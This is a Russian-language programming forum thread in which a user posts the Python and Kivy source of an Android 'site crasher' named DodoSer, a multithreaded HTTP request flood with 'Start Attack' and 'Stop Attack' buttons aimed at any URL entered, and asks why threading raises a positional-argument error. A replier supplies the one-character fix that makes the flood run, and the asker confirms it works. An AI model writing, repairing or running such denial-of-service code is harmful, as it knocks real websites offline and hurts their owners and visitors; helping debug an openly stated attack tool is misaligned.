Форум программистов, компьютерный форум, киберфорум
Python
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 5.00/4: Рейтинг темы: голосов - 4, средняя оценка - 5.00
1 / 1 / 1
Регистрация: 09.04.2022
Сообщений: 35
1

Ошибка takes 1 positional argument but 33 were

16.10.2022, 15:17. Показов 735. Ответов 3

Author24 — интернет-сервис помощи студентам
Доброго времени суток. Хочу сделать Крашер сайтов для андроид нашел скрипт в интернете протестил(крашет) начал делать по андроид с использованием библиотеки kivy и столкнулся с ошибкой takes 1 positional argument but 33 were, да я переводил что значить я в один аргумент пытаюсь засунуть 33 только я не понимаю где взялось эти 33 значения
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.boxlayout import BoxLayout
from kivy.properties import StringProperty
from kivy.uix.button import Button
from kivy.uix.textinput import TextInput
 
import threading
import requests
 
KV = """
MyBL:
        orientation: "vertical"
        size_hint: (0.95, 0.95)
        pos_hint: {"center_x": 0.5, "center_Y": 0.5}
 
        url: URL_site.text
        threads_str: threads_input.text
        Label:
                font_size: "30sp"
                text: root.data_label
 
        TextInput:
                id: URL_site
                multiline: False
                padding_y: (5,5)
                size_hint: (1, 0.5)
 
        TextInput:
                id: threads_input
                input_filter: "int"
                multiline: False
                padding_y: (5,5)
                size_hint: (1, 0.5)
 
        Button:
                text: "Начать Атаку"
                bold: True
                background_color: '#00FFCE'
                size_hint: (1, 0.5)
                on_press: root.startAttack()
 
        Button:
                text: "Закончить Атаку"
                bold: True
                background_color: '#00FFCE'
                size_hint: (1, 0.5)
                on_press: root.ExitAttack()
 
        Label:
                id: console_label
                font_size: "15sp"
                text: root.console
"""
 
class MyBL(BoxLayout):
 
    info_True = False
    data_label = StringProperty("DodoSer")
    console = StringProperty("console")
 
    url = StringProperty()
    threads_str = StringProperty()
    
    def startAttack(self):
 
        if not self.url.__contains__("http"):
            threads = int(self.threads_str)
            self.ids['console_label'].text = "URL-адрес не содержит http или https!"
        else:
            threads = int(self.threads_str)
            info_True = True
            self.ids['console_label'].text = "Информация правдива"
 
        while info_True:
 
            def dos(target):
                while True:
                    try:
                        res = requests.get(target)
                        self.ids['console_label'].text = "Атака началась!"
                    except requests.exceptions.ConnectionError:
                        self.ids['console_label'].text = "[+] " + "Ошибка подключения!"
                        threads = 20
 
            for i in range(0, threads):
                thr = threading.Thread(target=dos, args=(self.url))
                thr.start()
                self.ids['console_label'].text = str(i + 1) + " Поток запущен!"
        
 
    def ExitAttack(self):
        info_True = False
 
class MyApp(App):
    running = True
 
    url = StringProperty()
    threads = StringProperty()
 
    def build(self):
            
        return Builder.load_string(KV)
 
    def on_stop(self):
        self.running = False
 
MyApp().run()
и так переходим к самой ошибке она находится в классе MyBL()
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class MyBL(BoxLayout):
 
    info_True = False
    data_label = StringProperty("DodoSer")
    console = StringProperty("console")
 
    url = StringProperty()
    threads_str = StringProperty()
    
    def startAttack(self):
 
        if not self.url.__contains__("http"):
            threads = int(self.threads_str)
            self.ids['console_label'].text = "URL-адрес не содержит http или https!"
        else:
            threads = int(self.threads_str)
            info_True = True
            self.ids['console_label'].text = "Информация правдива"
 
        while info_True:
 
            def dos(target): вот тут находится dos
                while True:
                    try:
                        res = requests.get(target)
                        self.ids['console_label'].text = "Атака началась!"
                    except requests.exceptions.ConnectionError:
                        self.ids['console_label'].text = "[+] " + "Ошибка подключения!"
                        threads = 20
 
            for i in range(0, threads):
                thr = threading.Thread(target=dos, args=(self.url)) # тут я пытаюсь закинуть в переменную target 33 dos
                thr.start()
                self.ids['console_label'].text = str(i + 1) + " Поток запущен!"
        
 
    def ExitAttack(self):
        info_True = False
буду благодарен если поможете с этой проблеммой
0
Лучшие ответы (1)
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
16.10.2022, 15:17
Ответы с готовыми решениями:

Ошибка регистрации: login() takes 1 positional argument but 2 were given
Привет всем. Когда заполняю форму все четко проходит но вылетает ошибка: login() takes 1 positional...

Ошибка TypeError: Dispatcher.__init__() takes 1 positional argument but 2 were given
Пишу Телеграмм бота на pythone. Выдает ошибку: Traceback (most recent call last): File...

Takes 1 positional argument but 2 were given
Помогите пожалуйста,выдает ошибку sender() takes 1 positional argument but 2 were given код: ...

Ошибка "TypeError: start() takes 1 positional argument but 2 were given"
При запуске выдаёт ошибку: "TypeError: start() takes 1 positional argument but 2 were given", если...

TypeError: preveiw_files() takes 1 positional argument but 2 were given
Добрый день. Не так давно начал осваивать Python, в том числе и создание графического интерфейса....

3
2431 / 1474 / 633
Регистрация: 01.11.2021
Сообщений: 2,269
16.10.2022, 15:35 2
Лучший ответ Сообщение было отмечено KredaoGames как решение

Решение

Тут кортеж вроде должен быть. Запятую добавь.
Python
1
thr = threading.Thread(target=dos, args=(self.url,))
1
1 / 1 / 1
Регистрация: 09.04.2022
Сообщений: 35
16.10.2022, 15:42  [ТС] 3
Спасибо большое все работает!
а и да кстати могли вы бы подсказать как чтобы Time.sleep(1) только останавливал цикл а не весь код
0
2431 / 1474 / 633
Регистрация: 01.11.2021
Сообщений: 2,269
16.10.2022, 15:46 4
KredaoGames,
я с потоками не особо пока дружу, но вроде никак в данном случае.
0
16.10.2022, 15:46
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
16.10.2022, 15:46
Помогаю со студенческими работами здесь

TypeError: __getCoordX() takes 1 positional argument but 2 were given
Подскажите, что не так с моим кодом. При его запуске вызывается ошибка : TypeError: __getCoordX()...

Ошибка: TypeError: weather_at_place() takes 2 positional arguments but 3 were given
Traceback (most recent call last): File "C:\py\w2.py", line 22, in <module> observation =...

Ошибка missing 1 required positional argument: 'self'
всем привет. в этом коде: from tkinter import* class Main(): def __init__(self): tk=Tk()...

Ошибка TypeError: on_message() missing 1 required positional argument: 'ctx'
Пишу простенького бота для своего сервера дискорд. хотел сделать приветствие с @пингом_автора, но...

SyntaxError: positional argument follows keyword argument
Прошу помочь, где функция clicked1 пишет ошибку SyntaxError: positional argument follows keyword...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
4
Ответ Создать тему
Новые блоги и статьи
Использование связки C# и PHP в корпоративной разработке и микросервисной архитектуре
InfoMaster 16.01.2025
Введение в интеграцию C# и PHP В современной корпоративной разработке все чаще возникает потребность в создании гибких и масштабируемых решений, способных эффективно решать широкий спектр. . .
Как использовать Kerio дома для управления сетью и пользователями
InfoMaster 16.01.2025
Использование технологий для улучшения повседневной жизни стало неотъемлемой частью современного быта. Одной из таких технологий является Kerio — мощный инструмент для управления сетью и. . .
Есть ли будущее у DVD и Blu-ray?
InfoMaster 16.01.2025
В эпоху стремительного развития цифровых технологий и повсеместного распространения потоковых сервисов вопрос о будущем физических носителей информации становится все более актуальным. Особенно остро. . .
Как проводить научные вычисления на Python
InfoMaster 15.01.2025
Python стал одним из наиболее востребованных языков программирования в области научных вычислений благодаря своей простоте, гибкости и обширной экосистеме специализированных библиотек. Научные. . .
Создание игры типа Minecraft на PyGame/Python: пошаговое руководство
InfoMaster 15.01.2025
В данном руководстве мы рассмотрим процесс создания игры в стиле Minecraft с использованием библиотеки PyGame на языке программирования Python. Этот проект идеально подходит как для начинающих. . .
Как создать свою первую игру в стиле Doom на Unreal Engine
InfoMaster 15.01.2025
Разработка шутера от первого лица в стиле классического Doom представляет собой увлекательное путешествие в мир игрового программирования, где сочетаются творческий подход и технические навыки. . . .
Параллельное программировани­е: основные технологии и принципы
InfoMaster 15.01.2025
Введение в параллельное программирование Параллельное программирование представляет собой фундаментальный подход к разработке программного обеспечения, который позволяет одновременно выполнять. . .
Как написать микросервис на C# с Kafka, MediatR, Redis и GitLab CI/CD
InfoMaster 15.01.2025
В современной разработке программного обеспечения микросервисная архитектура стала стандартом де-факто для создания масштабируемых и гибких приложений. Этот подход позволяет разделить сложную систему. . .
Что такое CQRS и как это реализовать на C# с MediatR
InfoMaster 15.01.2025
Концепция CQRS и её роль в современной разработке В современном мире разработки программного обеспечения архитектурные паттерны играют ключевую роль в создании масштабируемых и поддерживаемых. . .
Как настроить CI/CD с Azure DevOps
InfoMaster 15.01.2025
CI/ CD, или непрерывная интеграция и непрерывное развертывание, представляет собой современный подход к разработке программного обеспечения, который позволяет автоматизировать и оптимизировать процесс. . .
Как настроить CI/CD с помощью Jenkins
InfoMaster 15.01.2025
Введение в CI/ CD и Jenkins В современной разработке программного обеспечения непрерывная интеграция (CI) и непрерывная доставка (CD) стали неотъемлемыми элементами процесса создания качественных. . .
Как написать микросервис на Go/Golang с Kafka, REST и GitHub CI/CD
InfoMaster 14.01.2025
Определение микросервиса, преимущества использования Go/ Golang Микросервис – это архитектурный подход к разработке программного обеспечения, при котором приложение состоит из небольших, независимо. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru